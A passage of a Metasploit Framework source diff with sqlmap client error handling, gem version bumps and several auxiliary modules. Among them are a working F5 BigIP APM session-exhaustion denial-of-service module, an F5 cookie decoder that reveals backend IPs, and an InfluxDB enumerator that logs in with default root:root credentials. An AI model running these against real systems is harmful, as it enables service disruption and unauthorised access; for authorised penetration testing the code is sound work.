b/lib/sqlmap/sqlmap_manager.rb index cbb69c3b80..1efda1e252 100644 --- a/lib/sqlmap/sqlmap_manager.rb +++ b/lib/sqlmap/sqlmap_manager.rb @@ -8,43 +8,57 @@ module Sqlmap def new_task res = @session.get('/task/new') - return JSON.parse(res.body) + parse_response(res) end def delete_task(task_id) res = @session.get('/task/' + task_id + '/delete') - return JSON.parse(res.body) + parse_response(res) end def set_option(task_id, key, value) post = { key => value } res = @session.post('/option/' + task_id + '/set', nil, post.to_json, {'ctype' => 'application/json'}) - return JSON.parse(res.body) + parse_response(res) end def get_options(task_id) res = @session.get('/option/' + task_id + '/list') - return JSON.parse(res.body) + parse_response(res) end def start_task(task_id, options = {}) res = @session.post('/scan/' + task_id + '/start' , nil, options.to_json, {'ctype' => 'application/json'}) - return JSON.parse(res.body) + parse_response(res) + end def get_task_status(task_id) res = @session.get('/scan/' + task_id + '/status') - return JSON.parse(res.body) + parse_response(res) end def get_task_log(task_id) res = @session.get('/scan/' + task_id + '/log') - return JSON.parse(res.body) + parse_response(res) end def get_task_data(task_id) res = @session.get('/scan/' + task_id + '/data') - return JSON.parse(res.body) + parse_response(res) + end + + private + def parse_response(res) + json = {} + if res && res.body + begin + json = JSON.parse(res.body) + rescue JSON::ParserError + end + end + + json end end end diff --git a/lib/sqlmap/sqlmap_session.rb b/lib/sqlmap/sqlmap_session.rb index 3fb64f7c88..380344a578 100644 --- a/lib/sqlmap/sqlmap_session.rb +++ b/lib/sqlmap/sqlmap_session.rb @@ -1,6 +1,6 @@ module Sqlmap class Session - def initialize(host, port = 8775) + def initialize(host, port) @host = host @port = port end @@ -13,9 +13,13 @@ module Sqlmap args['headers'] = headers if headers args['vars_get'] = params if params - res = c.request_cgi(args) - res = c.send_recv(res) - return res + begin + res = c.request_cgi(args) + res = c.send_recv(res) + return res + rescue Rex::ConnectionRefused + return + end end def post(uri, headers = nil, data = nil, originator_args = nil) @@ -26,12 +30,15 @@ module Sqlmap } args.merge!(originator_args) if originator_args - args['headers'] = headers if headers args['data'] = data if data - res = c.request_cgi(args) - res = c.send_recv(res) - return res + begin + res = c.request_cgi(args) + res = c.send_recv(res) + return res + rescue Rex::ConnectionRefused + return + end end end end diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index b5a9634dc7..5b261dbf35 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,9 +29,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '0.14.5' + spec.add_runtime_dependency 'metasploit-credential', '~> 1.0' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '0.24.0' + spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 5bb5cb3ab4..d02c0f8c8a 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -59,12 +59,12 @@ Gem::Specification.new do |spec| # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' # Metasploit::Concern hooks - spec.add_runtime_dependency 'metasploit-concern', '0.4.0' + spec.add_runtime_dependency 'metasploit-concern', '~> 1.0' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' + spec.add_runtime_dependency 'metasploit-model', '~> 1.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'metasploit-payloads', '0.0.3' + spec.add_runtime_dependency 'metasploit-payloads', '0.0.5' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb new file mode 100644 index 0000000000..e935e91cc2 --- /dev/null +++ b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb @@ -0,0 +1,101 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service', + 'Description' => %q{ + This module exploits a resource exhaustion denial of service in F5 BigIP devices. An + unauthenticated attacker can establish multiple connections with BigIP Access Policy + Manager (APM) and exhaust all available sessions defined in customer license. In the + first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP + system creates a session, marks it as pending and then redirects the client to an access + policy URI. Since BigIP allocates a new session after the first unauthenticated request, + and deletes the session only if an access policy timeout expires, the attacker can exhaust + all available sessions by repeatedly sending the initial HTTP request and leaving the + sessions as pending. + }, + 'Author' => + [ + 'Denis Kolegov ', + 'Oleg Broslavsky ', + 'Nikita Oleksov ' + ], + 'References' => + [ + ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html'] + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => true, + 'SSLVersion' => 'TLS1', + 'RPORT' => 443 + } + )) + + register_options( + [ + OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]), + OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false]) + ], self.class) + end + + def run + limit = datastore['RLIMIT'] + force_attack = datastore['FORCE'] + + res = send_request_cgi('method' => 'GET', 'uri' => '/') + + unless res + print_error("#{peer} - No answer from the BigIP server") + return + end + + # Simple test based on HTTP Server header to detect BigIP virtual server + server = res.headers['Server'] + unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack + print_error("#{peer} - BigIP virtual server was not detected. Please check options") + return + end + + print_status("#{peer} - Starting DoS attack") + + # Start attack + limit.times do |step| + if step % 100 == 0 + print_status("#{peer} - #{step * 100 / limit}% accomplished...") + end + res = send_request_cgi('method' => 'GET', 'uri' => '/') + if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/ + print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.") + return + end + end + + # Check if attack has failed + res = send_request_cgi('method' => 'GET', 'uri' => uri) + if res.headers['Location'] =~ /\/my.policy/ + print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT") + else + print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result") + end + + rescue ::Errno::ECONNRESET + print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached") + rescue ::Rex::ConnectionRefused + print_error("#{peer} - Unable to connect to BigIP") + rescue ::Rex::ConnectionTimeout + print_error("#{peer} - Unable to connect to BigIP. Please check options") + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") + end +end diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index bd7b91386b..0eb68da758 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service', 'Description' => %q{ - This module will check if your hosts are vulnerable to CVE-2015-1635 (MS15-034). A - vulnerability in the HTTP Protocol stack (HTTP.sys) that could result in arbitrary code + This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a + vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code execution. This module will try to cause a denial-of-service. - Please note that you must supply a valid file resource for the TARGETURI option. - By default, IIS may come with these settings that you could try: iisstart.htm, - welcome.png, iis-85.png, etc. + Please note that a valid file resource must be supplied for the TARGETURI option. + By default, IIS provides 'welcome.png' and 'iis-85.png' as resources. + Others may also exist, depending on configuration options. }, 'Author' => [ diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index 777677cdc0..af2359c05b 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft', 'Description' => %q{ - A vulnerability exists in versions of OSX/iOS/Windows Safari released + A vulnerability exists in versions of OSX, iOS, and Windows Safari released before April 8, 2015 that allows the non-HTTPOnly cookies of any domain to be stolen. }, diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index 5888a134e7..dd4bc8e7b6 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -30,125 +29,131 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'], ['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726'] ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSLVersion' => 'TLS1' + } )) register_options( [ + OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]), + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), OptString.new('TARGETURI', [true, 'The URI path to test', '/']), - OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10]) + OptInt.new('REQUESTS', [true, 'The number of requests to send', 10]) ], self.class) end - def change_endianness(value, size=4) + def change_endianness(value, size = 4) conversion = nil - if size == 4 conversion = [value].pack("V").unpack("N").first elsif size == 2 conversion = [value].pack("v").unpack("n").first end - conversion end def cookie_decode(cookie_value) - if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ - host = $1.to_i - port = $2.to_i + backend = {} + case + when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./ + host = Regexp.last_match(1).to_i + port = Regexp.last_match(2).to_i host = change_endianness(host) host = Rex::Socket.addr_itoa(host) port = change_endianness(port, 2) - elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i + when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i host = Rex::Socket.addr_itoa(host) - elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i - host = Rex::Socket.addr_itoa(host, v6=true) + when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i + host = Rex::Socket.addr_itoa(host, true) port = change_endianness(port, 2) - elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ - host = $1.to_i(16) - port = $2.to_i - host = Rex::Socket.addr_itoa(host, v6=true) - elsif cookie_value =~ /!.{104}/ + when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/ + host = Regexp.last_match(1).to_i(16) + port = Regexp.last_match(2).to_i + host = Rex::Socket.addr_itoa(host, true) + else host = nil port = nil end - host.nil? ? nil : "#{host}:#{port}" + + backend[:host] = host.nil? ? nil : host + backend[:port] = port.nil? ? nil : port + backend end def get_cookie # request a page and extract a F5 looking cookie. cookie = {} - res = send_request_raw({ - 'method' => 'GET', - 'uri' => @uri - }) + res = send_request_raw({ 'method' => 'GET', 'uri' => @uri }) unless res.nil? # Get the SLB session IDs for all cases: # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000", # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80", # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480", - # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80", - # 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc" - - m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/) - cookie[:id] = m.nil? ? nil : m[1] - cookie[:value] = m.nil? ? nil : m[2] - end + # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80" + regexp = / + ([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)| + (rd\d+o0{20}f{4}\w+o\d{1,5})| + (vi([a-f0-9]{32})\.(\d{1,5}))| + (rd\d+o([a-f0-9]{32})o(\d{1,5}))) + (?:$|,|;|\s) + /x + m = res.get_cookies.match(regexp) + cookie[:id] = (m.nil?) ? nil : m[1] + cookie[:value] = (m.nil?) ? nil : m[2] + end cookie end def run - unless datastore['REQUESTS'] > 0 - print_error("Please, configure more than 0 REQUESTS") - return - end - - back_ends = [] + requests = datastore['REQUESTS'] + backends = [] @uri = normalize_uri(target_uri.path.to_s) print_status("#{peer} - Starting request #{@uri}") - for i in 0...datastore['REQUESTS'] - cookie = get_cookie() # Get the cookie + (1..requests).each do |i| + cookie = get_cookie # Get the cookie # If the cookie is not found, stop process if cookie.empty? || cookie[:id].nil? print_error("#{peer} - F5 BigIP load balancing cookie not found") - break + return end # Print the cookie name on the first request - if i == 0 - print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") + if i == 1 + print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found") if cookie[:id].start_with?('BIGipServer') - print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") + print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found") end if cookie[:value].start_with?('rd') - print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") - end - if cookie[:value].start_with?('!') - print_status("#{peer} - F5 BigIP cookie is probably encrypted") + print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found") end end - back_end = cookie_decode(cookie[:value]) - unless back_end.nil? || back_ends.include?(back_end) - print_status("#{peer} - Backend #{back_end} found") - back_ends.push(back_end) + backend = cookie_decode(cookie[:value]) + unless backend[:host].nil? || backends.include?(backend) + print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found") + backends.push(backend) end end # Reporting found backends in database - unless back_ends.empty? - report_note( - :host => rhost, - :type => "f5_load_balancer_backends", - :data => back_ends - ) + unless backends.empty? + report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends) end + rescue ::Rex::ConnectionRefused + print_error("#{peer} - Network connection error") + rescue ::Rex::ConnectionError + print_error("#{peer} - Network connection error") + rescue ::OpenSSL::SSL::SSLError + print_error("#{peer} - SSL/TLS connection error") end end diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb index 4e2c13c839..67178d7346 100644 --- a/modules/auxiliary/gather/java_rmi_registry.rb +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Java RMI Registry Interfaces Enumeration', 'Description' => %q{ This module gathers information from an RMI endpoint running an RMI registry - interface. It enumerates the names bound into a registry and lookups each + interface. It enumerates the names bound in a registry and looks up each remote reference. }, 'Author' => ['juan vazquez'], diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index 0681abc6ee..c763058e9d 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -404,7 +404,8 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'SSL Labs API Client', 'Description' => %q{ - This module is a simple client for the SSL Labs APIs, designed for SSL/TLS assessment during a penetration testing. + This module is a simple client for the SSL Labs APIs, designed for + SSL/TLS assessment during a penetration test. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb new file mode 100644 index 0000000000..dade96bb4f --- /dev/null +++ b/modules/auxiliary/scanner/http/f5_bigip_virtual_server.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 BigIP HTTP Virtual Server Scanner', + 'Description' => %q{ + This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses + different HTTP profiles for managing HTTP traffic and these profiles allow to customize + the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending + on the BigIP system version. + }, + 'Author' => + [ + 'Denis Kolegov ', + 'Oleg Broslavsky ', + 'Nikita Oleksov ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'], + ] + )) + + register_options( + [ + OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']), + OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]), + ], self.class) + + deregister_options('RPORT') + end + + def bigip_http?(ip, port, ssl) + begin + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/', + 'rport' => port, + 'SSL' => ssl, + }, + datastore['TIMEOUT']) + return false unless res + server = res.headers['Server'] + return true if server =~ /BIG\-IP/ || server =~ /BigIP/ + rescue ::Rex::ConnectionRefused + vprint_error("#{ip}:#{port} - Connection refused") + rescue ::Rex::ConnectionError + vprint_error("#{ip}:#{port} - Connection error") + rescue ::OpenSSL::SSL::SSLError + vprint_error("#{ip}:#{port} - SSL/TLS connection error") + end + + false + end + + def run_host(ip) + ports = Rex::Socket.portspec_crack(datastore['PORTS']) + + if ports.empty? + print_error('PORTS options is invalid') + return + end + + ports.each do |port| + + unless port == 443 # Skip http check for 443 + if bigip_http?(ip, port, false) + print_good("#{ip}:#{port} - BigIP HTTP virtual server found") + next + end + end + + unless port == 80 # Skip https check for 80 + if bigip_http?(ip, port, true) + print_good("#{ip}:#{port} - BigIP HTTPS virtual server found") + end + end + end + end +end diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb new file mode 100644 index 0000000000..402c7dbdde --- /dev/null +++ b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb @@ -0,0 +1,95 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 Networks Devices Management Interface Scanner', + 'Description' => %q{ + This module scans for web management interfaces of the following F5 Networks devices: + BigIP, BigIQ, Enterprise Manager, ARX, and FirePass. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Denis Kolegov ', + 'Oleg Broslavsky ', + 'Nikita Oleksov ' + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'SSLVersion' => 'TLS1', + 'RPORT' => 443 + } + )) + + register_options( + [ + OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]) + ], self.class) + end + + def port_open? + begin + res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT']) + return true if res + rescue ::Rex::ConnectionRefused + vprint_status("#{peer} - Connection refused") + return false + rescue ::Rex::ConnectionError + vprint_error("#{peer} - Connection failed") + return false + rescue ::OpenSSL::SSL::SSLError + vprint_error("#{peer} - SSL/TLS connection error") + return false + end + end + + def run_host(ip) + return unless port_open? + + res = send_request_raw('method' => 'GET', 'uri' => '/') + if res && res.code == 200 + + # Detect BigIP management interface + if res.body =~ /BIG\-IP/ + print_good("#{peer} - F5 BigIP web management interface found") + return + end + + # Detect EM management interface + if res.body =~ /<title>Enterprise Manager/ + print_good("#{peer} - F5 Enterprise Manager web management interface found") + return + end + + # Detect ARX management interface + if res.body =~ /<title>F5 ARX Manager Login<\/title>/ + print_good("#{peer} - ARX web management interface found") + return + end + end + + # Detect BigIQ management interface + res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/') + if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/ + print_good("#{peer} - F5 BigIQ web management interface found") + return + end + + # Detect FirePass management interface + res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport) + if res && res.code == 200 && res.body =~ /<br><br><br><big><b> FirePass/ + print_good("#{peer} - F5 FirePass web management interface found") + return + end + end +end diff --git a/modules/auxiliary/scanner/http/goahead_traversal.rb b/modules/auxiliary/scanner/http/goahead_traversal.rb index 018a8f4759..b86ac1dd64 100644 --- a/modules/auxiliary/scanner/http/goahead_traversal.rb +++ b/modules/auxiliary/scanner/http/goahead_traversal.rb @@ -13,10 +13,11 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal', + 'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal', 'Description' => %q{ - This module exploits a directory traversal vulnerability in the Embedthis GoAhead Web Server v3.4.1, - allowing to read arbitrary files with the web server privileges. + This module exploits a directory traversal vulnerability in the Embedthis + GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files + with the web server privileges. }, 'References' => [ diff --git a/modules/auxiliary/scanner/http/influxdb_enum.rb b/modules/auxiliary/scanner/http/influxdb_enum.rb new file mode 100644 index 0000000000..c42f044c57 --- /dev/null +++ b/modules/auxiliary/scanner/http/influxdb_enum.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'InfluxDB Enum Utility', + 'Description' => %q{ + This module enumerates databases on InfluxDB using the REST API + (using default authentication - root:root). + }, + 'References' => + [ + ['URL', 'http://influxdb.com/docs/v0.9/concepts/reading_and_writing_data.html'] + ], + 'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(8086), + OptString.new('TARGETURI', [true, 'Path to list all the databases', '/db']), + OptString.new('USERNAME', [true, 'The username to login as', 'root']), + OptString.new('PASSWORD', [true, 'The password to login with', 'root']) + ], self.class) + end + + def run + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + ) + rescue ::Errno::EPIPE, ::Timeout::Error, ::EOFError, ::IOError => e + print_error("#{peer} - The following Error was encountered: #{e.class}") + return + end + + unless res + print_error("#{peer} - Server did not respond in an expected way.") + return + end + + if res.code == 401 && res.body =~ /Invalid username\/password/ + print_error("#{peer} - Failed to authenticate. Invalid username/password.") + return + elsif res.code == 200 && res.headers.include?('X-Influxdb-Version') && res.body.length > 0 + print_status("#{peer} - Enumerating...") + begin + temp = JSON.parse(res.body) + if temp.blank? + print_status("#{peer} - Json data is empty") + return + end + results = JSON.pretty_generate(temp) + rescue JSON::ParserError + print_error("#{peer} - Unable to parse JSON data.") + return + end + print_good("Found:\n\n#{results}\n") + path = store_loot( + 'influxdb.enum', + 'text/plain', + rhost, + results, + 'InfluxDB Enum' + ) + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Unable to enum, received \"#{res.code}\"") + end + end +end diff --git a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb index 33f7bbffdf..6811cbedd5 100644 --- a/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb @@ -31,11 +31,15 @@ class Metasploit3 < Msf::Auxiliary [ OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]), - OptString.new('USERNAME',[ true, 'User to login with', 'admin']), - OptString.new('PASSWORD',[ true, 'Password to login with', 'password']) + OptString.new('USERNAME',[ true, 'User to login with', 'service']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'service']) ], self.class) end + def peer + "#{rhost}:#{rport}" + end + def extract_words(wordfile) return [] unless wordfile && File.readable?(wordfile) begin @@ -60,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ - print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") + print_good("#{peer} - Request may have succeeded on file #{file}") report_web_vuln({ :host => rhost, :port => rport, @@ -74,10 +78,10 @@ class Metasploit3 < Msf::Auxiliary :method => "GET" }) - loot = store_loot("lfi.data","text/plain",rhost, res.body,file) - vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") + loot = store_loot("lfi.data","text/plain", rhost, res.body, file) + vprint_good("#{peer} - File #{file} downloaded to: #{loot}") elsif res and res.code - vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}") + vprint_error("#{peer} - Attempt returned HTTP error #{res.code} when trying to access #{file}") end end @@ -85,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary user = datastore['USERNAME'] pass = datastore['PASSWORD'] - vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + vprint_status("#{peer} - Trying to login with #{user} / #{pass}") # test login begin @@ -100,14 +104,14 @@ class Metasploit3 < Msf::Auxiliary return :abort if (res.code == 404) if [200, 301, 302].include?(res.code) - vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + vprint_good("#{peer} - Successful login #{user}/#{pass}") else - vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + vprint_error("#{peer} - No successful login possible with #{user}/#{pass}") return :abort end rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + vprint_error("#{peer} - Failed to connect to the web server") return :abort end diff --git a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb index d79479eaae..542b5ef896 100644 --- a/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb +++ b/modules/auxiliary/scanner/http/owa_iis_internal_ip.rb @@ -14,7 +14,8 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure', 'Description' => %q{ - This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers. + This module tests vulnerable IIS HTTP header file paths on Microsoft + Exchange OWA 2003 and CAS 2007, 2010, and 2013 servers. }, 'Author' => [ diff --git a/modules/auxiliary/scanner/http/title.rb b/modules/auxiliary/scanner/http/title.rb new file mode 100644 index 0000000000..0126ff1d0f --- /dev/null +++ b/modules/auxiliary/scanner/http/title.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + # Exploit mixins should be called first + include Msf::Exploit::Remote::HttpClient + # Scanner mixin should be near last + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'HTTP HTML Title Tag Content Grabber', + 'Description' => %q{ + Generates a GET request to the webservers provided and returns the server header, + HTML title attribute and location header (if set). Useful for rapidly identifying + interesting web applications en mass. + }, + 'Author' => 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>', + 'License' => MSF_LICENSE, + ) + + register_options( + [ + OptBool.new('STORE_NOTES', [ true, 'Store the captured information in notes. Use "notes -t http.title" to view', true ]), + OptBool.new('SHOW_ERRORS', [ true, 'Show error messages relating to grabbing titles on the console', true ]), + OptBool.new('SHOW_TITLES', [ true, 'Show the titles on the console as they are grabbed', true ]), + OptString.new('TARGETURI', [true, 'The base path', '/']) + ], self.class) + + deregister_options('VHOST') + end + + def run + if datastore['STORE_NOTES'] == false && datastore['SHOW_ERRORS'] == false && datastore['SHOW_TITLES'] == false + print_error("Notes storage is false, errors have been turned off and titles are not being shown on the console. There isn't much point in running this module.") + else + super + end + end + + def run_host(target_host) + begin + # Send a normal GET request + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path) + ) + + # If no response, quit now + if res.nil? + print_error("[#{target_host}:#{rport}] No response") if datastore['SHOW_ERRORS'] == true + return + end + + # Retrieve the headers to capture the Location and Server 